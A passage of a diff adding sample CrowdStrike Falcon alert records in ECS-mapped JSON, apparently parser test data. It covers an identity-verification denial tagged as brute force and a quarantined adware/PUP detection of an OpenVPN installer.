+                "ip": "81.2.69.144",
+                "user": {
+                    "domain": "NET.example.com",
+                    "name": "admin.example"
+                }
+            },
+            "tags": [
+                "preserve_original_event",
+                "preserve_duplicate_custom_fields",
+                "falcon_complete"
+            ],
+            "threat": {
+                "framework": "MITRE ATT&CK",
+                "tactic": {
+                    "id": [
+                        "TA0006"
+                    ],
+                    "name": [
+                        "Credential Access"
+                    ]
+                },
+                "technique": {
+                    "id": [
+                        "T1110"
+                    ],
+                    "name": [
+                        "Brute Force"
+                    ]
+                }
+            },
+            "user": {
+                "name": "admin.abcdef"
+            }
+        },
+        {
+            "@timestamp": "2024-08-19T18:44:01.100Z",
+            "cloud": {
+                "account": {
+                    "id": "65ddx-c454-324d-9034-Fdf34353"
+                }
+            },
+            "crowdstrike": {
+                "alert": {
+                    "active_directory_authentication_method": 4,
+                    "activity": {
+                        "browser": "Edge126.0.0",
+                        "device": "LAPTOP-ADFVEJM234V",
+                        "id": "3A7H7C00-FFF2344-23FFFF-9199905-91245754E10099D",
+                        "os": "Windows"
+                    },
+                    "agent_id": "58293534772e48c99f33c61631b3536d",
+                    "aggregate_id": "aggind:4444934rf3fdb64ec2059dmmb96e:5876E98M-F91K-48AW-8FFC-1191C663A1E9",
+                    "alert_attributes": 0,
+                    "cid": "4446934rf3fdb64ec3056ddfb96e",
+                    "composite_id": "874594c2ff8c23fdf64ef3086ddfb03e:ind:4441934rf3mmb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9",
+                    "context_timestamp": "2024-08-19T18:43:44.242Z",
+                    "crawled_timestamp": "2024-08-19T18:49:02.798Z",
+                    "created_timestamp": "2024-08-19T18:45:02.987Z",
+                    "data_domains": [
+                        "Identity"
+                    ],
+                    "description": "Auserdeniedapolicyidentityverificationrequest",
+                    "display_name": "Identityverificationdenied",
+                    "end_time": "2024-08-19T18:43:44.242Z",
+                    "falcon_host_link": "https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a",
+                    "id": "ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429",
+                    "idp_policy": {
+                        "mfa_factor_type": 42669,
+                        "mfa_provider": 11,
+                        "rule_id": "123324-343-4dfa9E0-8F85-dfaa3242",
+                        "rule_name": "admin-RDPAccesstoTIER-0Servers"
+                    },
+                    "ldap_search_query_attack": 16,
+                    "location_country_code": "US",
+                    "location_latitude_as_int": 320316,
+                    "location_longitude_as_int": -12729080,
+                    "model_anomaly_indicators": [
+                        "ACCOUNT_IMPOSSIBLE_VELOCITY",
+                        "ENVIRONMENT_UNUSUAL_IP",
+                        "ENVIRONMENT_UNUSUAL_ISP_DOMAIN",
+                        "ISP_DATACENTER_CLASSIFICATION"
+                    ],
+                    "name": "IdpPolicyIdentityVerificationDenied",
+                    "objective": "GainAccess",
+                    "pattern_id": "45897",
+                    "poly_id": "MJdfafdB3RpTC74xD_bZOwwVt37erewrewdWwicqVJrn1DHb_UVfrn1QTiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==",
+                    "product": "idp",
+                    "protocol_anomaly_classification": 1,
+                    "scenario": "suspicious_activity",
+                    "seconds_to_resolved": 0,
+                    "seconds_to_triaged": 0,
+                    "severity": 79,
+                    "severity_name": "Medium",
+                    "show_in_ui": true,
+                    "source": {
+                        "account_azure_id": "65ddx-c454-324d-9034-Fdf34353",
+                        "account_domain": "BCD.example.com",
+                        "account_name": "admin.example",
+                        "account_object_guid": "78HF9842-HGG5-324F-9565-GJD47324",
+                        "account_object_sid": "S-14-5424-21-dfaf3-234343-3434-1117733",
+                        "account_sam_account_name": "admin.abcdef",
+                        "account_upn": "admin.abcdef@example.com",
+                        "endpoint_account_object_guid": "FDHJJ343-098C-4629-9437-DD3424GHJ",
+                        "endpoint_account_object_sid": "S-1-4-21-111111111-2222222-14171121333-1045999",
+                        "endpoint_address_ip4": "81.2.69.144",
+                        "endpoint_host_name": "ABDC454.net.example.com",
+                        "endpoint_ip_address": "81.2.69.144",
+                        "endpoint_ip_reputation": 118,
+                        "endpoint_sensor_id": "38293523261gh48c99ffd234c6190123536e",
+                        "ip_isp_classification": 8,
+                        "ip_isp_domain": "abc.com"
+                    },
+                    "source_products": [
+                        "FalconIdentityProtection"
+                    ],
+                    "source_vendors": [
+                        "CrowdStrike"
+                    ],
+                    "start_time": "2024-08-19T18:43:44.242Z",
+                    "status": "new",
+                    "tactic": "CredentialAccess",
+                    "tactic_id": "TA0006",
+                    "tags": [
+                        "falcon_complete"
+                    ],
+                    "target": {
+                        "account_name": "HFJFJFFFFFFF$",
+                        "domain_controller_host_name": "GHPOTAL12578",
+                        "domain_controller_object_guid": "59B24AA7-4GH8-f7H0-994F-B90159E7M2K1",
+                        "domain_controller_object_sid": "S-2-8-21-333333-2222222-3431-95511",
+                        "endpoint_account_object_guid": "AAAAAAAA-0000-FFFFF-000000-A302EFCC8M4536",
+                        "endpoint_account_object_sid": "S-1-5-21-HG43242JJ-1844237615-18dfa1674531-298236",
+                        "endpoint_host_name": "GH787.abc.example.com",
+                        "endpoint_sensor_id": "afdsasf3423432nndv3432v",
+                        "service_access_identifier": "HOST/root.demo.com"
+                    },
+                    "technique": "BruteForce",
+                    "technique_id": "T1110",
+                    "timestamp": "2024-08-19T18:44:01.100Z",
+                    "type": "idp-user-endpoint-app-info",
+                    "updated_timestamp": "2024-08-19T18:49:02.798Z",
+                    "user_name": "admin.abcdef"
+                }
+            },
+            "destination": {
+                "domain": "GH787.abc.example.com",
+                "user": {
+                    "domain": "GHPOTAL12578",
+                    "name": "HFJFJFFFFFFF$"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "end": "2024-08-19T18:43:44.242Z",
+                "id": "ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429",
+                "kind": "alert",
+                "original": "{\"aggregate_id\":\"aggind:4444934rf3fdb64ec2059dmmb96e:5876E98M-F91K-48AW-8FFC-1191C663A1E9\",\"agent_id\":\"58293534772e48c99f33c61631b3536d\",\"cid\":\"4446934rf3fdb64ec3056ddfb96e\",\"context_timestamp\":\"2024-08-19T18:43:44.242Z\",\"composite_id\":\"874594c2ff8c23fdf64ef3086ddfb03e:ind:4441934rf3mmb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9\",\"crawled_timestamp\":\"2024-08-19T18:49:02.798354466Z\",\"created_timestamp\":\"2024-08-19T18:45:02.987127397Z\",\"data_domains\":[\"Identity\"],\"description\":\"Auserdeniedapolicyidentityverificationrequest\",\"display_name\":\"Identityverificationdenied\",\"end_time\":\"2024-08-19T18:43:44.242Z\",\"falcon_host_link\":\"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a\",\"id\":\"ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429\",\"idp_policy_mfa_factor_type\":\"42669\",\"idp_policy_mfa_provider\":\"11\",\"idp_policy_rule_id\":\"123324-343-4dfa9E0-8F85-dfaa3242\",\"idp_policy_rule_name\":\"admin-RDPAccesstoTIER-0Servers\",\"name\":\"IdpPolicyIdentityVerificationDenied\",\"objective\":\"GainAccess\",\"pattern_id\":45897,\"poly_id\":\"MJdfafdB3RpTC74xD_bZOwwVt37erewrewdWwicqVJrn1DHb_UVfrn1QTiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==\",\"product\":\"idp\",\"scenario\":\"suspicious_activity\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"severity\":79,\"severity_name\":\"Medium\",\"show_in_ui\":true,\"source_account_azure_id\":\"65ddx-c454-324d-9034-Fdf34353\",\"source_account_domain\":\"BCD.example.com\",\"source_account_name\":\"admin.example\",\"source_account_object_sid\":\"S-14-5424-21-dfaf3-234343-3434-1117733\",\"source_account_sam_account_name\":\"admin.abcdef\",\"source_account_upn\":\"admin.abcdef@example.com\",\"source_endpoint_account_object_guid\":\"FDHJJ343-098C-4629-9437-DD3424GHJ\",\"source_endpoint_address_ip4\":\"81.2.69.144\",\"source_endpoint_host_name\":\"ABDC454.net.example.com\",\"source_endpoint_ip_address\":\"81.2.69.144\",\"source_endpoint_sensor_id\":\"38293523261gh48c99ffd234c6190123536e\",\"source_products\":[\"FalconIdentityProtection\"],\"source_vendors\":[\"CrowdStrike\"],\"start_time\":\"2024-08-19T18:43:44.242Z\",\"status\":\"new\",\"tactic\":\"CredentialAccess\",\"tactic_id\":\"TA0006\",\"technique\":\"BruteForce\",\"technique_id\":\"T1110\",\"tags\":[\"falcon_complete\"],\"target_account_name\":\"HFJFJFFFFFFF$\",\"target_endpoint_account_object_guid\":\"AAAAAAAA-0000-FFFFF-000000-A302EFCC8M4536\",\"target_endpoint_account_object_sid\":\"S-1-5-21-HG43242JJ-1844237615-18dfa1674531-298236\",\"target_endpoint_host_name\":\"GH787.abc.example.com\",\"target_endpoint_sensor_id\":\"afdsasf3423432nndv3432v\",\"timestamp\":\"2024-08-19T18:44:01.1Z\",\"type\":\"idp-user-endpoint-app-info\",\"updated_timestamp\":\"2024-08-19T18:49:02.798344752Z\",\"user_name\":\"admin.abcdef\",\"activity_browser\":\"Edge126.0.0\",\"activity_device\":\"LAPTOP-ADFVEJM234V\",\"activity_os\":\"Windows\",\"active_directory_authentication_method\":\"4\",\"activity_id\":\"3A7H7C00-FFF2344-23FFFF-9199905-91245754E10099D\",\"alert_attributes\":\"0\",\"location_country_code\":\"US\",\"location_latitude_as_int\":320316,\"location_longitude_as_int\":-12729080,\"model_anomaly_indicators\":[\"ACCOUNT_IMPOSSIBLE_VELOCITY\",\"ENVIRONMENT_UNUSUAL_IP\",\"ENVIRONMENT_UNUSUAL_ISP_DOMAIN\",\"ISP_DATACENTER_CLASSIFICATION\"],\"ldap_search_query_attack\":\"16\",\"protocol_anomaly_classification\":\"1\",\"source_account_object_guid\":\"78HF9842-HGG5-324F-9565-GJD47324\",\"source_endpoint_account_object_sid\":\"S-1-4-21-111111111-2222222-14171121333-1045999\",\"source_endpoint_ip_reputation\":\"118\",\"source_ip_isp_classification\":\"8\",\"source_ip_isp_domain\":\"abc.com\",\"target_domain_controller_host_name\":\"GHPOTAL12578\",\"target_domain_controller_object_guid\":\"59B24AA7-4GH8-f7H0-994F-B90159E7M2K1\",\"target_domain_controller_object_sid\":\"S-2-8-21-333333-2222222-3431-95511\",\"target_service_access_identifier\":\"HOST/root.demo.com\"}",
+                "severity": 47,
+                "start": "2024-08-19T18:43:44.242Z"
+            },
+            "host": {
+                "id": "58293534772e48c99f33c61631b3536d"
+            },
+            "message": "Auserdeniedapolicyidentityverificationrequest",
+            "observer": {
+                "geo": {
+                    "country_iso_code": "US",
+                    "location": {
+                        "lat": 320316,
+                        "lon": -12729080
+                    }
+                }
+            },
+            "related": {
+                "hosts": [
+                    "BCD.example.com",
+                    "ABDC454.net.example.com",
+                    "GH787.abc.example.com",
+                    "GHPOTAL12578"
+                ],
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "user": [
+                    "admin.example",
+                    "admin.abcdef@example.com",
+                    "HFJFJFFFFFFF$",
+                    "admin.abcdef"
+                ]
+            },
+            "rule": {
+                "id": "123324-343-4dfa9E0-8F85-dfaa3242",
+                "name": "admin-RDPAccesstoTIER-0Servers"
+            },
+            "source": {
+                "domain": "ABDC454.net.example.com",
+                "ip": "81.2.69.144",
+                "user": {
+                    "domain": "BCD.example.com",
+                    "name": "admin.example"
+                }
+            },
+            "tags": [
+                "preserve_original_event",
+                "preserve_duplicate_custom_fields",
+                "falcon_complete"
+            ],
+            "threat": {
+                "framework": "MITRE ATT&CK",
+                "tactic": {
+                    "id": [
+                        "TA0006"
+                    ],
+                    "name": [
+                        "CredentialAccess"
+                    ]
+                },
+                "technique": {
+                    "id": [
+                        "T1110"
+                    ],
+                    "name": [
+                        "BruteForce"
+                    ]
+                }
+            },
+            "user": {
+                "name": "admin.abcdef"
+            }
+        },
+        {
+            "@timestamp": "2023-11-03T18:00:22.328Z",
+            "crowdstrike": {
+                "alert": {
+                    "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+                    "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
+                    "alleged_filetype": "exe",
+                    "cid": "92012896127c4a948236ba7601b886b0",
+                    "cloud_indicator": false,
+                    "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"",
+                    "composite_id": "92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                    "confidence": 10,
+                    "context_timestamp": "2023-11-03T18:00:31.000Z",
+                    "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778",
+                    "crawl_edge_ids": {
+                        "Sensor": [
+                            "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N",
+                            "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!",
+                            "KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr",
+                            "N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!",
+                            "N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N",
+                            "N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'",
+                            "N6CU&`%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!",
+                            "N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr",
+                            "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'",
+                            "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"
+                        ]
+                    },
+                    "crawl_vertex_ids": {
+                        "Sensor": [
+                            "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
+                            "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
+                            "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                            "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
+                            "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                            "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
+                            "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135",
+                            "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
+                            "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993",
+                            "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                            "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"
+                        ]
+                    },
+                    "crawled_timestamp": "2023-11-03T19:00:23.985Z",
+                    "created_timestamp": "2023-11-03T18:01:23.995Z",
+                    "data_domains": [
+                        "Endpoint"
+                    ],
+                    "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.",
+                    "device": {
+                        "agent_load_flags": 0,
+                        "agent_local_time": "2023-10-12T03:45:57.753Z",
+                        "agent_version": "7.04.17605.0",
+                        "bios_manufacturer": "ABC",
+                        "bios_version": "F8CN42WW(V2.05)",
+                        "cid": "92012896127c4a948236ba7601b886b0",
+                        "config_id_base": "65994763",
+                        "config_id_build": "17605",
+                        "config_id_platform": 3,
+                        "external_ip": "81.2.69.142",
+                        "first_seen": "2023-04-07T09:36:36.000Z",
+                        "groups": [
+                            "18704e21288243b58e4c76266d38caaf"
+                        ],
+                        "hostinfo": {
+                            "active_directory_dn_display": [
+                                "WinComputers",
+                                "WinComputers\\ABC"
+                            ],
+                            "domain": "ABC.LOCAL"
+                        },
+                        "hostname": "ABC709-1175",
+                        "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+                        "last_seen": "2023-11-03T17:51:42.000Z",
+                        "local_ip": "81.2.69.142",
+                        "mac_address": "AB-21-48-61-05-B2",
+                        "machine_domain": "ABC.LOCAL",
+                        "major_version": "10",
+                        "minor_version": "0",
+                        "modified_timestamp": "2023-11-03T17:53:43.000Z",
+                        "os_version": "Windows11",
+                        "ou": [
+                            "ABC",
+                            "WinComputers"
+                        ],
+                        "platform_id": "0",
+                        "platform_name": "Windows",
+                        "product_type": "1",
+                        "product_type_desc": "Workstation",
+                        "site_name": "Default-First-Site-Name",
+                        "status": "normal",
+                        "system_manufacturer": "LENOVO",
+                        "system_product_name": "20VE"
+                    },
+                    "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                    "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                    "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                    "grandparent_details": {
+                        "cmdline": "C:\\Windows\\system32\\userinit.exe",
+                        "filename": "userinit.exe",
+                        "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe",
+                        "local_process_id": "4328",
+                        "md5": "b07f77fd3f9828b2c9d61f8a36609741",
+                        "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135",
+                        "process_id": "392734873135",
+                        "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
+                        "timestamp": "2023-10-30T16:49:19.000Z",
+                        "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
+                        "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                        "user_name": "yuvraj.mahajan"
+                    },
+                    "has_script_or_module_ioc": true,
+                    "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                    "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                    "ioc_context": [
+                        {
+                            "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                            "ioc_source": "library_load",
+                            "ioc_type": "hash_sha256",
+                            "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                            "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
+                            "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                            "type": "module"
+                        }
+                    ],
+                    "ioc_values": [
+                        "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd"
+                    ],
+                    "is_synthetic_quarantine_disposition": true,
+                    "local_process_id": "17076",
+                    "logon_domain": "ABSYS",
+                    "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
+                    "name": "PrewittPupAdwareSensorDetect-Lowest",
+                    "objective": "FalconDetectionMethod",
+                    "parent_details": {
+                        "cmdline": "C:\\WINDOWS\\Explorer.EXE",
+                        "filename": "explorer.exe",
+                        "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
+                        "local_process_id": "1040",
+                        "md5": "8cc3fcdd7d52d2d5221303c213e044ae",
+                        "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
+                        "process_id": "392736520876",
+                        "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
+                        "timestamp": "2023-11-03T18:00:32.000Z",
+                        "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
+                        "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                        "user_name": "mohit.jha"
+                    },
+                    "parent_process_id": "392736520876",
+                    "pattern_disposition": 2176,
+                    "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.",
+                    "pattern_disposition_details": {
+                        "blocking_unsupported_or_disabled": false,
+                        "bootup_safeguard_enabled": false,
+                        "critical_process_disabled": false,
+                        "detect": false,
+                        "fs_operation_blocked": false,
+                        "handle_operation_downgraded": false,
+                        "inddet_mask": false,
+                        "indicator": false,
+                        "kill_action_failed": false,
+                        "kill_parent": false,
+                        "kill_process": false,
+                        "kill_subprocess": false,
+                        "operation_blocked": false,
+                        "policy_disabled": false,
+                        "process_blocked": true,
+                        "quarantine_file": true,
+                        "quarantine_machine": false,
+                        "registry_operation_blocked": false,
+                        "rooting": false,
+                        "sensor_only": false,
+                        "suspend_parent": false,
+                        "suspend_process": false
+                    },
+                    "pattern_id": "5761",
+                    "platform": "Windows",
+                    "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==",
+                    "process_end_time": "2023-11-03T18:00:21.000Z",
+                    "process_id": "399748687993",
+                    "process_start_time": "2023-11-03T18:00:13.000Z",
+                    "product": "epp",
+                    "quarantined_files": [
+                        {
+                            "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                            "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                            "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                            "state": "quarantined"
+                        }
+                    ],
+                    "scenario": "NGAV",
+                    "severity": 30,
+                    "severity_name": "low",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "show_in_ui": true,
+                    "source_products": [
+                        "FalconInsight"
+                    ],
+                    "source_vendors": [
+                        "CrowdStrike"
+                    ],
+                    "status": "new",
+                    "tactic": "MachineLearning",
+                    "tactic_id": "CSTA0004",
+                    "technique": "Adware/PUP",
+                    "technique_id": "CST0000",
+                    "timestamp": "2023-11-03T18:00:22.328Z",
+                    "tree_id": "1931778",
+                    "tree_root": "38687993",
+                    "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993",
+                    "type": "ldt",
+                    "updated_timestamp": "2023-11-03T19:00:23.985Z",
+                    "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                    "user_name": "mohit.jha"
+                }
+            },
+            "device": {
+                "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+                "manufacturer": "LENOVO",
+                "model": {
+                    "name": "20VE"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "category": [
+                    "process"
+                ],
+                "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                "kind": "alert",
+                "original": "{\"agent_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"aggregate_id\":\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"alleged_filetype\":\"exe\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"cloud_indicator\":\"false\",\"cmdline\":\"\\\"C:\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\\\"\",\"composite_id\":\"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"confidence\":10,\"context_timestamp\":\"2023-11-03T18:00:31Z\",\"control_graph_id\":\"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778\",\"crawl_edge_ids\":{\"Sensor\":[\"KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\\\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N\",\"KZcZA__;?\\\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!\",\"KZd)iK2;s\\\\ckQl_P*d=Mo?^a7/JKc\\\\*L48169!7I5;0\\\\<H^hNG\\\"ZQ3#U3\\\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\\\"Ql@Q!!!$!rr\",\"N6=Ks_B9Bncmur)?\\\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\\\:#mb;BM\\\\L[g!\\\\F*M!!*'!\",\"N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\\\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N\",\"N6B%s!\\\\k)ed$F6>a%iM\\\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\\\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\\\"b&m!<<'\",\"N6CU&`%VT\\\"d$=67=h\\\\I)/BJH:8-lS!.%\\\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p